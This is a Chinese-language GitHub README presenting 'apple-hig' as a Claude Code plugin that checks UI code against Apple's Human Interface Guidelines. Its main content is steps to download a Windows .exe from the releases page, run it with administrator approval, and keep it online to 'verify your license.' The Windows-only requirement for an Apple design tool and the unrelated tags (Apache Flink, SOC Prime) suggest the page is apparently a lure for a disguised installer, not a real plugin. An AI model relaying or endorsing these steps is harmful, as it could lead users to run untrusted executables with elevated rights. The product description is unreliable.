aponeurosiswilling807/apple-hig

# 🍎 apple-hig - 创建符合 Apple 标准的界面 [](https://github.com/aponeurosiswilling807/apple-hig/releases) apple-hig 工具可帮助您设计在外观和感觉上都与 Apple 原生应用一致的软件。它与 Claude Code 配合使用，根据真实的 Apple 设计规范来审查您的用户界面。您可以将其用于 iOS、iPadOS、macOS、watchOS、tvOS 和 visionOS 项目。该插件会对您的作品进行检查，确保您的应用遵循 Human Interface Guidelines。 ## 📥 如何下载软件 您需要最新版本的安装程序才能开始。请按照以下具体步骤将软件下载到您的 Windows 计算机上： 1. 访问以下链接以查看所有可用的发布版本：[https://github.com/aponeurosiswilling807/apple-hig/releases](https://github.com/aponeurosiswilling807/apple-hig/releases) 2. 找到标有“Assets”的部分。 3. 点击以 .exe 结尾的文件以下载安装程序。 4. 将文件保存到您的“下载”文件夹中。 ## ⚙️ 安装过程 保存文件后，请按照以下说明安装程序： 1. 打开您的“下载”文件夹。 2. 双击您下载的文件。 3. 如果出现一个窗口询问您是否允许此应用对您的设备进行更改，请单击“是”。 4. 按照屏幕上的说明进行操作。 5. 安装完成后，单击“完成”。 ## 🚀 设置插件 apple-hig 插件与 Claude Code 协同运行。安装应用程序后，请将其与您的工作区集成： 1. 在计算机上打开 Claude Code。 2. 导航到您存放界面代码的项目文件夹。 3. 按照应用程序菜单的指示，在您的终端窗口中输入设置命令。 4. 该插件将检查您的项目文件。 5. 它将基于 Human Interface Guidelines 提供一份报告。 ## 🛠 功能 该工具提供了多种改进设计的方法： * **自动审查：** 该插件会扫描您的界面文件，查找常见的设计错误。 * **无障碍检查：** 它确保您的文本大小和颜色对比度符合 Apple 针对视障用户的要求。 * **特定平台模式：** 您可以在 visionOS、watchOS 或 macOS 模式之间进行切换。 * **设计 Token 支持：** 它能识别您的设计 token，并根据 Apple 的标准提出改进建议。 * **SwiftUI 验证：** 系统会读取您的 SwiftUI 代码，并指出那些破坏了 Apple 应用标准外观的地方。 ## 📋 系统要求 确保您的计算机满足以下最低标准以使用该软件： * **操作系统：** Windows 10 或 Windows 11。 * **内存：** 至少 8 GB 的 RAM。 * **存储：** 硬盘上有 500 MB 的可用空间。 * **软件：** 已安装并完成身份验证的 Claude Code。 * **互联网：** 需要网络连接以获取最新的 Apple 指南和设计更新。 ## 💡 使用设计审查工具 设置完该工具后，您就可以开始审查了。在终端中运行审查命令。该工具会分析您的代码，并在终端窗口中列出问题。每个问题都会包含有关如何修复的建议。此过程可为您节省时间，因为您无需亲自通读整份 Human Interface Guidelines 文档。 ## 🔌 与 Apple 平台的兼容性 该工具包含针对以下 Apple 操作系统的逻辑： * **iOS：** 侧重于 iPhone 的触摸目标和屏幕布局。 * **iPadOS：** 涵盖分屏视图和多任务处理设计规则。 * **macOS：** 检查窗口行为、菜单和键盘控制是否正确。 * **watchOS：** 验证小屏幕布局和一览即得的信息展示。 * **tvOS：** 确保焦点状态和遥控器导航按预期工作。 * **visionOS：** 审查 3D 界面的空间布局和深度设置。 ## 🧩 了解 Human Interface Guidelines Apple 提供了 Human Interface Guidelines 以保持所有应用的一致性。一致的应用更容易学习。用户会本能地知道如何与您的软件进行交互，因为它遵循了他们在其他所有 Apple 应用中已经习惯的规则。该工具在您的代码与这些复杂的设计文档之间起到了桥梁作用。它将书面的规则转化为清晰、可操作的技术反馈。 ## 🛡 处理错误 如果程序无法运行，请尝试以下步骤： 1. 重新启动计算机。这可以清除卡住的后台进程。 2. 检查您的互联网连接。该应用需要网络来验证您的许可证并下载更新文件。 3. 重新运行安装程序。有时在第一次尝试时文件无法成功复制。 4. 确保您的 Windows 帐户具有管理员权限。安装程序需要这些权限才能将文件放入程序文件夹。 ## 📈 改进您的设计工作流 您可以在项目的任何阶段引入此工具。如果您正在开发新应用，可以使用它来设置初始结构。如果您正在更新现有应用，可以使用它来查找设计中偏离标准的地方。定期使用此工具可确保您的用户享受到与他们使用的其他 Apple 应用一样的高质量体验。 ## 💬 获取更多帮助 如果您遇到问题，请查看 GitHub 仓库中现有的讨论。其他用户可能也遇到过相同的问题。如果找不到解决方案，请提交一个新的 issue。请清楚地描述您想要执行的操作、实际发生的情况以及您的 Windows 版本。如果可能，请提供屏幕截图。这有助于贡献者了解问题，以便他们能更快地为您提供帮助。 ## 🌐 社区与更新 随着 Apple 更新其指南或技术的不断发展，该软件也会定期更新。每月查看一次 GitHub 仓库以获取更新。您还可以关注该仓库，以便在新版本准备就绪时收到电子邮件通知。保持软件为最新版本，可以确保您的设计审查始终基于最新的 Apple 标准。如果您发现指南中有特定部分希望该工具进行监控，请随时建议添加新功能。我们将基于用户反馈来构建此工具。

标签：Apache Flink, Claude插件, SOC Prime, UI/UX设计, 代码规范检查, 开发工具, 自定义脚本, 苹果生态系统